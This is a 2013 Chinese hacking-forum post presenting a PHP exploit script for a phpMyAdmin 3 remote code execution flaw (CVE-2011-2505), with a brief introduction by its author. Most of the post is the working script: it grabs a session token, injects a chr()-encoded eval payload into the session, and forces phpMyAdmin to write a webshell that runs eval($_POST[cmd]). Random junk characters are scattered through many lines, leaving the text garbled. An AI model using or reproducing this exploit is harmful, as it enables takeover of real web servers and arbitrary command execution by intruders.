找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1951|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。( T* p  t  F  @6 w6 o1 m8 {
  I; g! N0 v! B7 ]
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。$ S6 q. s+ b8 c4 K, M5 n, c+ [0 ]
$ n7 ]8 D) @1 o! t5 X* }
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:% T+ m) l/ J5 y, \% O' E. O: \3 n2 G
一是session.auto_start = 1;3 D- A% e6 D. @3 ?) f
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
) r- B% `* w. t当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。! Q% t8 A- K+ n/ {
. j3 x# L8 {* v  [& C3 f
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。0 \( H8 Q6 D  \9 p. w1 a5 a
, Q, N$ ?) @# l+ K$ D3 \9 C" S5 o
于是写了这个php版本的exp,代码如下:8 H6 w. f* T. {: m* ]0 s

8 j5 K) g( l5 p1 ^9 g#!/usr/bin/php) V% `. R8 v) U) G: |
<?php
! l& X6 c/ R+ [% |) `! B3 hprint_r('& `4 @' |  C; b2 L3 ~% [6 z8 T
+---------------------------------------------------------------------------+; M& j: ~) F9 s
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]3 H; U: Y: @  |. p8 [- L# }7 G4 @, b
by oldjun(www.oldjun.com)0 s- D# Q7 q* z9 E3 ~
welcome to www.t00ls.net) l- T2 Q. t# o1 Q7 v
mail: oldjun@gmail.com- d2 y3 \! Q) C7 e
Assigned CVE id: CVE-2011-2505# ^! t. J5 r4 u- @0 t
+---------------------------------------------------------------------------+
6 B/ F& I; y" I2 w& l');
' [' R$ g3 m7 R  Q$ x2 t4 ]* y6 S0 @5 I( I9 {$ e3 b3 ^7 Y
/**0 I  w0 s' d0 G& R: @. p/ B
* working when the directory:"config" exists and is writeable.
' {8 u6 O5 l1 }6 @1 x0 r& Q- \/ d+ l**/6 U# L/ L6 I  B! p

3 [% g& |5 }9 F. r( ]0 [( }if ($argc < 3) {: B4 o( s- c( t
    print_r('# u0 y% U" D* K6 \0 K, F' C  C: }4 p
+---------------------------------------------------------------------------+
5 }" c/ R5 j! p4 n# LUsage: php '.$argv[0].' host path
$ M$ y, O! J5 h# v* U. G7 Whost:      target server (ip/hostname)
2 d0 m  a+ ?4 ^6 b+ M: Fpath:      path to pma3
4 k/ H/ P6 m$ |7 |& }# NExample:& X& i! ]' l, {+ ?' `- Y$ |! R9 i; e
php '.$argv[0].' localhost /pma/: l( q! j4 n0 f1 q. Q
+---------------------------------------------------------------------------+
7 O" D4 A) ^/ L  V! M% y% a( c1 L');: n4 y% c- y3 e$ M
    exit;
2 K1 D! E9 p, Q; f3 e$ F}
% Y: m9 }' P- `( j$ B/ M- {$ i3 |
. D" f" \& v- Q0 B$host = $argv[1];
+ u6 N; _( {$ N. r% b, q7 E" V$path = $argv[2];
% B' m- T2 P: b$ L% U2 y8 F9 q
/ e: a% a3 `( B1 N/**
: g* Q; x! v! `" i9 } * Try to determine if the directory:"config" exists0 L( s% [6 ]5 g- \
**/
* T: E. Z' W9 w' t: hecho "[+] Try to determine if the directory:config exists....\n";
& c9 X# s$ Z% }9 s9 h7 h: O- I$returnstr=php_request('config/');# V  V& ^! Q7 P& u. d# O& {
if(strpos($returnstr,'404')){
! {4 p' D/ {2 n; _9 S0 \* z    exit("[-] Exploit Failed! The directory:config do not exists!\n");" \, k8 `" ~' q6 @( f% a
}
. l& ]: D* V- e1 {2 q
" {! f0 o0 m$ H/**
0 G# o; w2 I# ?: {0 j, t" _' ` * Try to get token and sessionid
! E7 H6 R5 b  [, x4 ?% o# v0 C**/, J7 N1 \' O2 X, Y7 |  Z
echo "[+] Try to get token and sessionid....\n";
5 @) b  a# \* N% t5 k$result=php_request('index.php');
7 X5 }* T0 u, C7 M* dpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);& `9 h/ m/ c- @# f. m8 h
$token=$resp[3];
- f3 O7 R  P; h& w$sessionid=$resp[1];" I. l) m  D7 E/ t: e+ X/ Z
if($token && $sessionid){
* e: _$ u- ?# h. x. V' |    echo "[+] tokentoken\n";7 n7 O$ E0 J0 H6 r5 w
    echo "[+] Session IDsessionid\n";3 e7 ^* [- Q& J! P$ S+ c4 N" R& M
}else{
3 i  b: j7 ^0 J( m    exit("[-] Can't get token and Session ID,Exploit Failed!\n");2 b& c7 O: k( w( T
}$ u+ S, W& H& {$ ^3 c
3 b- @* {; ]& q% D, ~% I
/**: M% J5 P: }+ R  f
* Try to insert shell into session
. P* [: R4 V; q! b# X**/
, O# Q: @) N0 s* Yecho "[+] Try to insert shell into session....\n";
! n' `. f9 V8 ~8 @3 {, J( bphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.) h) j; j5 i; _& D, |' @! Y
9 }8 ]& L; T" c0 v8 c
/**- a: @6 K+ {6 W4 V: ?& n4 L) K
* Try to create webshell7 ]7 x' ?: ?' J, m  A: H2 x" Q
**/- ~: E8 Q. l3 r* N9 D7 M/ Y" s
echo "[+] Try to create webshell....\n";* w! }1 @( Y* ?( i* h1 H
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);8 d. h) F! `4 m1 ]9 u2 E* S
/**4 N- s$ w" l" I0 ?
* Try to check if the webshell was created successfully% p& b+ e* Y: k; X
**/
: f) C+ M3 O# i1 _echo "[+] Try to check if the webshell was created successfully....\n";
$ ~% w- r9 e# K1 \" ~6 F3 E$content=php_request('config/config.inc.php');" j- p# G7 }+ ]! i" J- W$ t  G& H
if(strpos($content,'t00ls')){
% n/ T( J4 |% r7 Z9 ~    echo "[+] Congratulations! Expoilt successfully....\n";
: W7 Y' e  e+ ^' ?    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
; T# C6 M8 a5 {; ?0 }}else{9 o3 l0 y6 b* P* o" ?% M
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");4 I6 G5 A( G1 p7 ^* v3 u0 x
}* p  e$ `8 o8 i* j

0 A" s/ U  o' k2 Y2 R5 qfunction php_request($url,$data='',$cookie=''){
) P7 D; \8 p" o# O' Y( Z, y. v, l    global  $host, $path;
# a9 i% g9 d- C  r, {   
( E" z8 q$ B* E3 I    $method=$data?'POST':'GET';
( z3 O: ]; x4 q1 N( d   
  V) R" c+ {6 x    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
8 l' u$ P3 Z$ x4 t! A' g    $packet .= "Accept: */*\r\n";
2 z# i6 e2 x* x  o# H    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";1 Z: k1 L5 N/ N* b! M
    $packet .= "Host: $host\r\n";
# A& E8 Z! o5 g  p, t    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
, l& g3 O# O$ X# N; [. L! y    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
" h: d+ v4 U+ K5 i' K+ ?- T9 ]5 Q    $packet .= $cookie?"Cookie: $cookie\r\n":"";
" S' E1 `, C  \2 C* a- P( E$ K1 k( ?    $packet .= "Connection: Close\r\n\r\n";
6 j  C5 Y% K3 }+ k( s' Z5 k+ f! g5 u    $packet .= $data?$data:"";
4 P$ d3 Y) B6 J. S7 S' j% q" b' @. Y4 g1 ^
    $fp = fsockopen(gethostbyname($host), 80);; w" {; \0 c2 p. J4 F7 i" Y
    if (!$fp) {
) K) s. p  x. s    echo 'No response from '.$host; die;
8 s- S9 ]* w9 m    }
5 C7 G3 V6 v+ a  p( R3 M    fputs($fp, $packet);
1 _1 }# n7 r8 d: o2 v; `; X' J: ?8 p- w/ W! Z4 }; }! p
    $resp = '';, Y4 e2 ~9 {5 r! \5 h
. l: g' i4 X5 ~* d: _
    while ($fp && !feof($fp))2 R. ~" D3 ^& ]* V
        $resp .= fread($fp, 1024);
5 c6 i. Z5 B4 Y+ f- g9 G8 ~" W, Y6 Y( q/ H$ R
    return $resp;$ R. S' Q/ Q1 `% w4 ]5 E9 Y% C
}
! t5 w* I$ F/ C  B, J3 p: }4 {' ^   
2 [  B. o/ ], ^+ f2 i# i?> " C7 n  N! Y# p0 [$ m' N2 V
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表